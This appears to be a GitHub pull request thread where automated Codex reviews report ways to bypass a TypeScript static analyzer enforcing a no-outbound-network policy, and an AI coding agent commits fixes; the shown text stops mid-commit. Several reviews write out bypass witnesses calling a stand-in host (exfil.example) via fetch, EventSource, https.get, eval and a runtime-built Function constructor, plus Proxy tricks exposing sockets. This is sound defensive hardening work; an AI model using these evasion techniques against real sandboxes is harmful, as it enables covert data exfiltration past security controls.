D3 clean network policy — structural rebuild - #67
Conversation
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Organization UI Review profile: CHILL Plan: Team Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
PR67 CI — type-safe ambient namespace check
|
@codex review |
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 6f4c9cc501
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // --------------------------------------------------------------------------- | ||
|
|
||
| export const HTTP_MODULE_SPECIFIERS: ReadonlySet<string> = new Set(['node:http', 'http']); | ||
| export const NETWORK_GLOBAL_NAMES: ReadonlySet<string> = new Set(['fetch', 'WebSocket']); |
There was a problem hiding this comment.
On the supported Node 24 runtime, EventSource is another global outbound-network API, but this allowlist only recognizes fetch and WebSocket. Consequently, both new EventSource('https://exfil.example/') and new globalThis.EventSource(...) receive an ALLOW verdict, permitting outbound SSE connections despite the policy's stated network boundary; the existing Cockpit purity invariant also already classifies EventSource as network capability.
Useful? React with 👍 / 👎.
| if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']); | ||
| if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority)); |
There was a problem hiding this comment.
The allow-listed server and response methods are fluent: listen(), close(), setHeader(), and end() return this, but this classifier does not treat those call results as carrying the receiver's authority. For example, export const leaked = server.listen(4317, '127.0.0.1'); leaked.on('connection', ...) receives an ALLOW verdict even though leaked is the same mutable server, and response.setHeader(...).socket similarly bypasses the response member policy; either consuming these return values must be denied or their authority must propagate.
Useful? React with 👍 / 👎.
| checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => { | ||
| checkGlobalReceiverUse(ctx, parent); | ||
| }); | ||
| return; |
There was a problem hiding this comment.
When host code evaluates const g = globalThis.valueOf() as typeof globalThis, the inherited Object.prototype.valueOf() returns the same global object. This branch approves valueOf as a non-network static key and then stops tracking the call result, so a subsequent g.fetch('https://exfil.example/') receives an ALLOW verdict even though fetch itself is block-listed; calls that can recover the receiver must therefore be rejected or retain global-receiver authority.
Useful? React with 👍 / 👎.
Close PR #67 F2/F3: a direct allowed member call on a proven SERVER/REQUEST/RESPONSE target, or a call of a permitted static member of a proven global root, now yields a result that conservatively retains the receiver's authority through the existing fact model and policies. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Q6Mog1KsMYfH2GAVMw9mbg
…rity PR67 F2/F3 — Preserve receiver-call authority
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: a0d8193357
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const classes = new Set(factsOf(ctx, symbol).map((fact) => fact.authority)); | ||
| if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes); | ||
| } | ||
| for (const call of ctx.calls) { |
There was a problem hiding this comment.
When a confined factory is invoked more than once, each returned server is accepted independently, so code can call make() twice and listen on two ports—including exposing the second listener on 0.0.0.0—while receiving an ALLOW verdict. This contradicts the policy’s stated guarantee that the host may create exactly one inbound HTTP server; classification needs an aggregate creation/listening constraint rather than validating each call in isolation.
Useful? React with 👍 / 👎.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: b9c423645b
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) { | ||
| return true; | ||
| } | ||
| if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined; |
There was a problem hiding this comment.
When a reserved global name is introduced by a named function expression, such as const f = function fetch() { return fetch; }, JavaScript creates a real runtime binding inside the function, but this predicate recognizes only FunctionDeclaration. Consequently the recursive fetch reference is passed to checkFreeGlobal and valid local code is rejected as FREE_GLOBAL_NETWORK; include FunctionExpression among runtime declarations.
Useful? React with 👍 / 👎.
| const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean => | ||
| !declaration.isTypeOnly && (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration)); |
There was a problem hiding this comment.
For a non-type-only entity alias such as import * as Local from './x.js'; import fetch = Local.f; fetch();, the repository's NodeNext compilation emits a local fetch binding, even though the alias is neither exported nor an external-module reference itself. This predicate returns false for that valid form, so the call is incorrectly classified as FREE_GLOBAL_NETWORK; private value aliases need to count as runtime shadows as well.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5a0c2b8030
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const { node, parent } = climb(id); | ||
| if (ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined) return true; | ||
| if (ts.isTypeOfExpression(parent)) return true; | ||
| if (ts.isExportSpecifier(parent)) return true; |
There was a problem hiding this comment.
When a confined factory is exported through this path and imported by another allowed host file, the exporter is accepted but the consumer has no SERVER facts for the imported symbol. Consequently, a consumer containing makeReviewServer().listen(45678, '0.0.0.0') is also accepted; because purity.test.ts analyzes each host source independently, even side-effect-importing that consumer from the real entry point leaves the entire purity suite passing while opening a non-loopback listener. Reject exported server factories or propagate their authority through the host module graph.
Useful? React with 👍 / 👎.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 15f83e8896
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const key = memberKey(ctx, access); | ||
| switch (authority) { | ||
| case 'SERVER': | ||
| return isResolvedTo(key, SERVER_METHODS) && isDirectCallee(access); |
There was a problem hiding this comment.
When server.close receives a callable Proxy, Node invokes it with the server as this, and the proxy's apply(_target, receiver) trap captures that server without using a ThisExpression. Because this branch permits every direct close(...) call without validating its callback, code can pass such a proxy and call receiver.listen(4318, '0.0.0.0'); analyzeNetworkPolicy currently returns ALLOW, bypassing both server provenance and the loopback check. Reject callback-bearing close calls or propagate SERVER authority into the callback's implicit receiver.
Useful? React with 👍 / 👎.
| return isResolvedTo(key, REQUEST_READS) && !isWriteTarget(access); | ||
| case 'RESPONSE': | ||
| return ( | ||
| (isResolvedTo(key, RESPONSE_METHODS) && isDirectCallee(access)) || |
There was a problem hiding this comment.
When response.end is given a callable Proxy, Node invokes the callback with the ServerResponse as this, so an apply(_target, response) trap can access forbidden authority such as response.req.socket without containing a ThisExpression. The current method-only check accepts response.end('ok', proxy) and the analyzer returns ALLOW, allowing the response and request socket to escape the positive policy. Reject this callback overload or propagate RESPONSE authority into its implicit receiver.
Useful? React with 👍 / 👎.
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ac5bcf9021
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const callee = unwrap(node.expression); | ||
| if (!ts.isIdentifier(callee)) return false; | ||
| const symbol = valueSymbolOf(ctx.checker, callee); | ||
| if (symbol === undefined) return callee.text === 'String' && node.arguments.length === 1; |
There was a problem hiding this comment.
Fresh evidence beyond the previously flagged globalThis.String write is that the unqualified global binding remains writable: (String as any) = () => new Proxy(() => {}, { apply(_t, response) { response.req.socket; } }); response.end(String(1)); is classified ALLOW. In the supported ESM runtime this assignment replaces the writable global String, but this branch still proves its result is primitive; Node then interprets the returned callable as the end callback and supplies the privileged response as its receiver. Reject writes to the free String binding or only trust it after proving it was not mutated.
Useful? React with 👍 / 👎.
…tring Close the newest Codex P1 family on PR #67 at its root instead of chasing more routes that replace the global `String`. `isProvenString` no longer treats an unbound ambient `String(...)` call as proof of a primitive string, so `response.end(String(...))` is denied with RESPONSE_END_ARGUMENT whatever the argument, and the write, mutator-call and reflective routes only add their own finding on top of that denial. The proof now names no global identifier. The directly affected allow rows keep their intent through a template (`\`${request.url}\``), which was already proven. Literal, template, concat, const, local-function and sibling-export string paths are unchanged, and the real host tree, whose bodies are literals, a sibling string constant and a sibling template function, stays ALLOW. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: ccff21f149
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| */ | ||
| describe('D3 host network policy (D3-NET)', () => { | ||
| it('accepts every real host source under the frozen network policy', () => { | ||
| // The tree entry seeds each file with the proven exports of the sibling host |
There was a problem hiding this comment.
hostSources() only returns files under src/cockpit-host; it scans src/cockpit merely for symlinks. Consequently, an allowed host import such as ../cockpit/net.js can call an exported Cockpit helper that uses fetch, WebSocket, or node:http, while analyzeNetworkPolicyTree never examines that helper and the host call is treated as unprivileged. Include the allowed Cockpit boundary in this network enforcement or independently enforce the same no-network invariant there.
Useful? React with 👍 / 👎.
…irectory Close the newest Codex P1 on PR #67 structurally. The D3 network policy read only src/cockpit-host, while the host may import any file under the Cockpit boundary, which may import the domain kernel. An allowed `../cockpit/` helper using fetch or handing out a server was therefore never analyzed, and the host call was treated as unprivileged. The purity suite now walks the host's executable closure: every host source, then every runtime relative import of every member, transitively, each admitted only as a source file under src/ and named relative to src/, so the tree resolves `../cockpit/index.js` to `cockpit/index.ts` and seeds the host importer with the boundary's proven exports. The walk reuses the existing TypeScript specifier extractor, which gained a runtimeOnly option that skips erased type-only declarations, and the existing URL resolver, now shared with the import-boundary check instead of duplicated. The closure is pinned to an explicit twelve-file list in a support module both suites read, an assertion proves every runtime relative import in the closure resolves to another member, and a boundary witness proves a Cockpit helper with network or server authority is denied through the host import. The real closure remains ALLOW and CONVERGED. No production source changes; the D1 text scan is untouched. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01XzBQxxngHwrQ88eAn53Pfg
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5e6d99679b
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| // Frozen policy tables | ||
| // --------------------------------------------------------------------------- | ||
|
|
||
| export const HTTP_MODULE_SPECIFIERS: ReadonlySet<string> = new Set(['node:http', 'http']); |
There was a problem hiding this comment.
When a transitive Cockpit or domain member imports node:https, node:http2, node:net, or a networking package, it is outside the import-discipline loop over hostSources(), while this allowlist causes collectHttpImports to ignore the import entirely. Fresh evidence after the earlier boundary finding is that a closure member containing import https from 'node:https'; https.get('https://exfil.example/') still receives an ALLOW verdict, so the newly widened closure does not actually prevent outbound connections; apply the exact module allowlist to every closure member or classify all outbound-capable imports here.
Useful? React with 👍 / 👎.
| const sources = hostExecutableClosure(); | ||
| expect([...sources.map((source) => source.file)].sort()).toEqual([...EXPECTED_HOST_CLOSURE]); | ||
| const results = analyzeNetworkPolicyTree(sources); |
There was a problem hiding this comment.
When an imported Cockpit or domain source uses eval("fetch('https://exfil.example/')") or Function(...), this tree pass returns ALLOW: analyzeNetworkPolicyTree deliberately leaves free runtime code generation to the separate RC policy, but that policy still iterates only hostSources() rather than this executable closure. Fresh evidence after the earlier boundary finding is this indirect code-generation path, which lets an enrolled dependency open outbound network while all purity checks pass; run usesRuntimeCodeGeneration over every entry in sources as well.
Useful? React with 👍 / 👎.
| const typeOnly = ts.isImportDeclaration(node) ? node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword : node.isTypeOnly; | ||
| const specifier = stringLiteralText(node.moduleSpecifier); | ||
| if (specifier !== null) specifiers.push(specifier); | ||
| if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier); |
There was a problem hiding this comment.
When a closure member uses the erased TypeScript form import type X = require('./types.js'), the new runtimeOnly filtering skips type-only import/export declarations but the following ImportEqualsDeclaration branch still unconditionally records its specifier. hostExecutableClosure() therefore tries to read and pin a module that is never executed, either throwing when there is no corresponding .ts source or failing closure equality until the non-runtime file is added; honor node.isTypeOnly in that branch too.
Useful? React with 👍 / 👎.
Close the 3 newest Codex findings on PR #67 as one mechanism repair, with hostExecutableClosure() as the single source of truth for executable safety — not just src/cockpit-host/**: - outbound builtin/module allow-list is now applied to every runtime file in the closure, so a Cockpit/domain member reaching node:net/tls/dgram/https/ http2 (or any bare package) is refused, not only the host directory; - the runtime-code-generation guard (usesRuntimeCodeGeneration) and the hidden-builtin-acquisition guard (acquiresHiddenBuiltin) are retargeted from hostSources() to hostExecutableClosure(), covering every runtime file; - extractModuleSpecifiers({ runtimeOnly: true }) now skips a type-only `import type x = require('S')` exactly like other erased type-only imports, so an erased ImportEqualsDeclaration never enters the runtime closure while a runtime `import x = require('S')` still does. Host-directory confinement and the symlink/topology checks stay scoped to the host, where they encode directory shape rather than executable capability. No duplicated host-vs-closure policies; analyzeNetworkPolicyTree is unchanged. Regression coverage added: outbound builtins in Cockpit/domain members fail; eval/Function/constructor code generation in Cockpit/domain members fails; type-only import-equals stays out of the runtime closure while runtime import-equals stays in; the real 12-file closure remains exactly pinned and passes. No production src/** changes. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 5c38f8e585
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| for (const name of source.strings) strings.add(name); | ||
| for (const name of source.stringFunctions) stringFunctions.add(name); |
There was a problem hiding this comment.
When a barrel uses export * from './safe.js' and also explicitly exports the same name, ECMAScript gives the explicit export precedence, but these loops retain the re-exported capability fact. For example, if safe.js exports a string chunk while the barrel exports a callable Proxy as chunk (typed as string), an importer’s response.end(chunk) is accepted because chunk remains in source.strings; Node instead treats the runtime Proxy as a callback and exposes the privileged response as its receiver. Compute facts from the module's effective exports, removing shadowed star exports (and do not propagate default, which export * excludes).
Useful? React with 👍 / 👎.
hostExportsOf() unioned every re-export clause, so a barrel doing
`export * from './safe.js'` beside an explicit same-name export kept the star's
proven-capability fact for that name. A callable value shadowing a proven-string
`chunk` (typed string) was then accepted as a `response.end` argument, though
ECMAScript gives the explicit export precedence and Node exposes the privileged
response as the callback receiver.
Compute facts from the module's effective exports instead of the raw union:
- classify every explicit export first (local declaration, `export default`,
explicit `export { … }` / `export { … } from`), recording the names it binds;
- an `export * from` then fills in only the names no explicit export shadows;
- `export *` never re-exports `default`;
- a name provided by two different stars is ambiguous (absent from the
namespace) and propagates no fact either.
Legitimate non-shadowed star re-exports keep working (the existing factory /
getter re-export chains are unchanged, and the real closure has no `export *`).
Regression coverage added in d3-network-policy.test.ts: an explicit same-name
export shadows the star's proven-string fact (deny) while a non-shadowed star
keeps it (allow); `export *` does not carry a default factory while an explicit
`export { default as … }` does; two stars of the same name propagate nothing.
No production src/** changes.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: e198528b53
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const fileUrl = srcFileUrl(next); | ||
| const text = readFileSync(fileURLToPath(fileUrl), 'utf8'); | ||
| members.set(next, text); | ||
| for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) { |
There was a problem hiding this comment.
Fresh evidence beyond the previously flagged ESM-import gap is a .cts closure member, which closureMemberOf explicitly admits for a .cjs import, containing const https = require('node:https'); https.get(...). extractModuleSpecifiers intentionally omits plain require(...), so this closure walk neither follows relative requires nor exposes builtin requires to outboundCapabilityViolation; analyzeNetworkPolicy also returns ALLOW for this example. Consequently an imported CommonJS helper can open outbound connections while every new closure check passes; either reject .cts members or inspect their runtime require calls.
Useful? React with 👍 / 👎.
| const known = memo.get(factory); | ||
| if (known !== undefined) return known; | ||
| memo.set(factory, false); | ||
| const result = ctx.calls.some((call) => enclosingFunctionSymbol(ctx, call) === factory && instantiates(call)); |
There was a problem hiding this comment.
Fresh evidence beyond the previously flagged two factory call sites is a single confined factory that executes two http.createServer(...) calls sequentially and is invoked once. This boolean some(...) collapses both internal creations into one external site, so the factory can listen on two loopback ports and still receive an ALLOW verdict, bypassing the one-server-instantiation bound; factory analysis needs to preserve the number of creations possible per invocation rather than only whether any creation exists.
Useful? React with 👍 / 👎.
| const typeOnly = ts.isImportDeclaration(node) ? node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword : node.isTypeOnly; | ||
| const specifier = stringLiteralText(node.moduleSpecifier); | ||
| if (specifier !== null) specifiers.push(specifier); | ||
| if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier); |
There was a problem hiding this comment.
Fresh evidence beyond the fixed import type X = require(...) form is import { type X } from './types.js' (and the equivalent named type-only export). TypeScript erases a declaration whose named specifiers are all type-only, but typeOnly checks only the declaration-level modifier, so runtimeOnly still enrolls types.ts; this can make closure equality fail or require a non-executable types file to pass runtime network guards. Treat a named clause with no value specifiers as erased too.
Useful? React with 👍 / 👎.
| const closureMemberOf = (importerFileUrl: URL, specifier: string): string => { | ||
| const resolvedUrl = resolveRelativeImport(importerFileUrl, specifier); | ||
| if (resolvedUrl === null) throw new Error(`D3-NET: unresolvable runtime import ${specifier} from ${importerFileUrl.href}`); | ||
| const sourceUrl = new URL(resolvedUrl.href.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts')); |
There was a problem hiding this comment.
Fresh evidence beyond the earlier tree-resolver suffix issue is that the new filesystem closure still rewrites the full href. For a valid import such as ./factory.js?instance, /\.js$/ does not match because the query follows the extension, so the walker looks for factory.js instead of factory.ts and throws even though the network-policy tree resolver now handles that same specifier. Perform the extension mapping on resolvedUrl.pathname while preserving URL suffix semantics.
Useful? React with 👍 / 👎.
Two bounded correctness repairs closing the audited Codex families.
Family A — executable-closure module graph (purity.test.ts). Make the closure
walk match the project's TypeScript/Node runtime module semantics:
- `extractModuleSpecifiers` surfaces a bare `require('S')` call as a runtime
edge (symmetric with dynamic `import()`), so a `.cts`/`.cjs` closure member's
relative requires are followed and its builtin requires reach the outbound
allow-list — `obj.require(…)` and `require.resolve(…)` are excluded;
- a named import/export clause whose specifiers are all `type` (e.g.
`import { type X } from 'S'`) erases at runtime and is dropped under
`runtimeOnly`, alongside the existing declaration-level `import type`;
- `closureMemberOf` maps the output→source extension on the URL pathname and
drops `?query`/`#fragment`, so `./x.js?instance` resolves to `x.ts` instead
of throwing — mirroring the tree resolver.
Family B — server-instantiation cardinality (d3-network-policy.ts). Replace the
boolean factory-instantiation model with a bounded per-invocation server count:
- `factoryServerCount` computes the servers on the busiest execution path
through a factory body (max over exclusive branches, sum along a sequence),
capped at 2, so two sequential `http.createServer(...)` calls count as two
while multiple `return http.createServer(...)` in exclusive branches stay one
per call;
- the instantiation-site bound now sums servers (not call sites): a site is
denied once it would create a server beyond the single tree-wide free one;
- the per-invocation count is propagated across files via a new
`multiInstantiatingFactories` export fact, so an imported multi-server factory
invoked once is denied too.
Regression coverage added for both families. All existing legitimate behavior is
preserved (the frozen matrix, the multiple-returns MUST_ALLOW case) and the real
host/closure still passes. No production src/** changes.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 14b66f60bf
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const arg = node.arguments[0]; | ||
| if (arg !== undefined && ts.isStringLiteralLike(arg)) specifiers.push(arg.text); |
There was a problem hiding this comment.
In an imported .cts closure member, code such as const target = 'node:https'; const https = require(target); https.get('https://exfil.example/') is omitted here because the argument is not StringLiteralLike. hasUnverifiableDynamicImport checks only import(), while analyzeNetworkPolicy does not classify ordinary require, so this outbound connection passes every closure guard. Fresh evidence beyond the earlier literal-require issue is this computed-target path; fail closed on nonliteral bare require calls just as for computed dynamic imports.
Useful? React with 👍 / 👎.
| for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) { | ||
| if (!(isRelativeImportSpecifier(specifier) || isAllowedNodeBuiltin(specifier))) return specifier; |
There was a problem hiding this comment.
When an imported .cts member uses require('node:http').get(...), the extractor now surfaces the literal specifier, but this allowlist accepts it and analyzeNetworkPolicy only recognizes ESM/import-equals/dynamic HTTP acquisition, leaving the ordinary require result untracked and producing an ALLOW verdict. Fresh evidence after static CommonJS edges were enrolled is that the one permitted networking builtin bypasses all client-capability checks; either forbid bare require('node:http') or classify its result under the same HTTP namespace policy.
Useful? React with 👍 / 👎.
…uire()
The closure is ESM-only (package.json "type": "module", NodeNext, .ts sources)
and no real member uses CommonJS require(). Rather than model require resolution,
forbid it outright (audit Design A):
- add `hasBareRuntimeRequire`, applied over every closure member: a bare-identifier
`require(...)` call is one structural policy violation, whatever its target —
literal, computed, conditional, or laundered are refused identically, closing the
outbound path a CommonJS helper could open;
- the rule matches only a `CallExpression` whose callee is exactly the identifier
`require`, so `obj.require(...)`, `require.resolve(...)`, a property/field named
`require`, and the TypeScript `import x = require('S')` external-module reference
keep their meaning;
- stop modelling `require(...)` as a module edge in `extractModuleSpecifiers`;
- drop the `.cjs`→`.cts` runtime-closure mapping in `closureMemberOf` (keep ESM
`.js`/`.mjs`), so a CommonJS member has no admitted source and fails closed.
The existing ESM import/export/import-equals/dynamic-import behavior is unchanged.
Regressions added: literal and computed bare require() are rejected; obj.require,
require.resolve, a require property/field, and import-equals are not misclassified;
import-equals keeps its existing edge behavior; the real executable closure remains
exactly the pinned 12 files and passes. No production src/** changes.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
agentbridge/tests/cockpit-host/purity.test.ts
Line 780 in 2a8cdd9
Reject dynamically computed function constructors
When constructor is assembled by a runtime operation, such as const key = ['con', 'structor'].join(''), memberNameOf returns null and this check ignores the element access because its receiver is not a recognized global. Fresh evidence beyond the earlier closure-scope issue is the detector-level bypass const generate = ((() => {}) as any)[key]; generate("fetch('https://exfil.example/')")();: it contains no visible eval, Function, or statically resolved constructor, so every closure guard and the network analyzer accept it while the generated code performs an outbound request. Fail closed on indeterminate computed access that can recover a function constructor.
agentbridge/tests/cockpit-host/purity.test.ts
Line 703 in 2a8cdd9
Ignore identifiers inside erased type queries
When a closure member contains an erased query such as type NativeFunction = typeof Function or type ProcessShape = typeof process, the identifier's parent is a TypeQueryNode, not a TypeReferenceNode, so this predicate reports a value reference. The RC or HA guard consequently rejects the file even though the emitted JavaScript contains no access to either runtime capability. Detect ancestor type positions rather than special-casing only direct type-reference children.
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| } | ||
| if (ts.isVariableStatement(statement) && hasExportModifier(statement)) { | ||
| for (const declaration of statement.declarationList.declarations) { | ||
| if (ts.isIdentifier(declaration.name)) { |
There was a problem hiding this comment.
When a barrel combines export * from './safe.js' with an explicit binding-pattern export such as export const { chunk } = { chunk: new Proxy(() => {}, { apply(_t, response) { response.req.socket; } }) }, this identifier-only condition omits chunk from explicitNames, so the later star pass incorrectly retains the safe module's proven-string fact. Fresh evidence after the earlier explicit-export fix is this still-unhandled exported binding pattern: an importer may pass the callable chunk to response.end(chunk), which is accepted as a proven string even though Node invokes it as a callback with the privileged response as its receiver; the complete tree currently returns ALLOW. Enumerate every bound name in exported variable patterns before propagating star-export facts.
Useful? React with 👍 / 👎.
Close the open Codex finding and repair the adjacent same-mechanism defects a
bounded D3 sweep surfaced. Enforcement/tests only; no production src/** changes.
Effective-export semantics (hostExportsOf): the explicit-export enumerator
recorded only identifier variable names and function declarations, so a same-name
star export was not shadowed by other explicit binding forms and wrongly kept the
star's proven fact. It now records every explicit export name — object/array
destructuring patterns (nested and rest included), `class`, `enum`, and an
`export * as ns` namespace binding — so each takes ECMAScript precedence over
`export *`. The Codex witness (`export const { chunk } = …` beside
`export * from './safe.js'`) and its binding-form siblings now deny
`response.end(chunk)` instead of accepting the callable as a proven string.
Server cardinality (factoryServerCount): the per-invocation path analysis treated
a loop like a straight-line statement, counting a server instantiated in a loop
body once. A loop can run more than once, so any instantiation inside for/for-in/
for-of/while/do now counts the factory as multi-instantiating (fail-closed, capped
at two); a loop that instantiates nothing still leaves a single trailing creation
allowed.
Also add an explicit regression that a bare `require('node:http')` — the one
allow-listed builtin — is rejected like any other bare runtime require.
Regressions added for each repaired form. All existing legitimate behavior and the
real host/closure are preserved.
Sweep families inspected with no further defect: executable module edges /
resolution (createRequire is closed by the node:module allow-list ban), ESM-only
erased/type-only imports/exports, cross-file fact propagation, SERVER/REQUEST/
RESPONSE positive-policy propagation, and the RC/HA/outbound guards over the
complete closure.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
agentbridge/tests/cockpit-host/purity.test.ts
Lines 779 to 780 in daac5a8
Reject runtime-computed constructor keys
When constructor is assembled at runtime on a non-global receiver, memberNameOf returns null, so this guard misses code such as const k = ['con', 'structor'].join(''); ((() => {}) as any)[k]("return fetch('https://exfil.example/')")();. The computed access obtains the Function constructor and executes the outbound request, while both usesRuntimeCodeGeneration and the network analyzer accept it; I appended this witness to a checked src/cockpit-host closure member and the complete purity test still passed. Fail closed on unresolved property selection that can recover a function constructor, including equivalent reflective access.
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…ration, fix type-query
Bounded correction across three D3 enforcement mechanisms; tests only, no src/**.
RC (usesRuntimeCodeGeneration): apply the reserved code-generation key policy
uniformly across every structurally distinguishable recovery form, reusing the
existing static-key machinery.
- Destructuring now reserves `constructor` on any receiver (removing the fail-open
asymmetry with member access) and resolves a ComputedPropertyName through the
shared static-string resolver, so `const { ['con'+'structor']: C } = fn` is
caught exactly as `fn['con'+'structor']` is.
- Reflective recovery: `Reflect.get(obj, K)` is a property read whose key is the
second argument, and `Reflect.construct(...)` is reflective construction — reject
when K is `constructor` (any receiver), `eval`/`Function` off a global receiver,
or an unresolved dynamic key, and reject any `Reflect.construct`. The method name
